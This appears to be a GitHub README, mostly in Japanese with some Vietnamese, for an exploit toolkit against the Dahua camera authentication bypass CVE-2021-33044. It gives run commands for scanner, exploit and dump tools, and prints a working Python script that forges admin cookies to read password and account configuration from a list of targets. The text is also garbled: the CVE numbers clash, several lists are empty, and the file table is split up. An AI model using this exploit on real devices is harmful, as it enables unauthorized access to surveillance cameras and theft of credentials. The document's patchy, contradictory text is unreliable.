
DAHUA_AUTH-BYPASS-CVE-2021-33044
Dahua IPカメラは、セキュリティ監視システムで広く使用されているIoTデバイスです。社内ネットワークやインターネット経由で頻繁に展開されるため、IPカメラのセキュリティ脆弱性はプライバシーと情報セキュリティに深刻な影響を与える可能性があります。
CVE-2021-33045は、一部のDahuaカメラに存在するセキュリティ脆弱性で、適切な認証なしに内部設定リソースへの不正アクセスを可能にします。この脆弱性は、デバイスのファームウェアにおけるアクセス制御メカニズムの不備に起因します。
| 項目 | 内容 |
|---|---|
| CVE | CVE-2021-33044 |
| 種別 | Authentication Bypass |
| 深刻度 | Critical (CVSS ~9.8) |
| 認証 | 認証不要 |
| 影響 | Dahua Camera / DVR / NVR |
この脆弱性は、Dahuaカメラのファームウェアにおける安全でない認証設計に起因します:
これにより、攻撃者は以下が可能になります:
参考:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
| ファイル | 目的 | CVEs |
|---|
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Common Dahua ports: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
スクリプトは requests ライブラリを使用し、SSL警告を無効化しています(SSL警告を抑止するため)。
dump_accounts(ip, port=80) 関数は、カメラデバイスを検査する主要な関数です。
この関数の主な機能は次のとおりです:
認証Cookieのシミュレーション。この関数は以下のCookie値を使用します:
userName=adminuserLevel=1sessionID=00000000影響を受けるカメラのバージョンでは、バックエンドが実際のsessionIDを検証しないため、リクエストが正当な管理者アカウントから送信されたものとしてシステムが信頼します。
スクリプトは入力ファイルからターゲットのリストを読み取り、各デバイスに対して検査関数を順番に呼び出します。このアプローチにより、複数のカメラを自動的に評価できます。
これらのスクリプトは以下に基づいて開発されています:
テスト状況:
このプロジェクトは:
dahua_scanner.py | ネットワーク探索 — サブネット上のDahuaカメラを検出 | 検出 |
dahua_exploit.py | Multi-CVEスキャンツール — すべてのセキュリティ脆弱性をチェック。 | すべて |
dahua_auth_bypass.py | --dump オプション付きの専用認証バイパス | CVE-2021-33044 |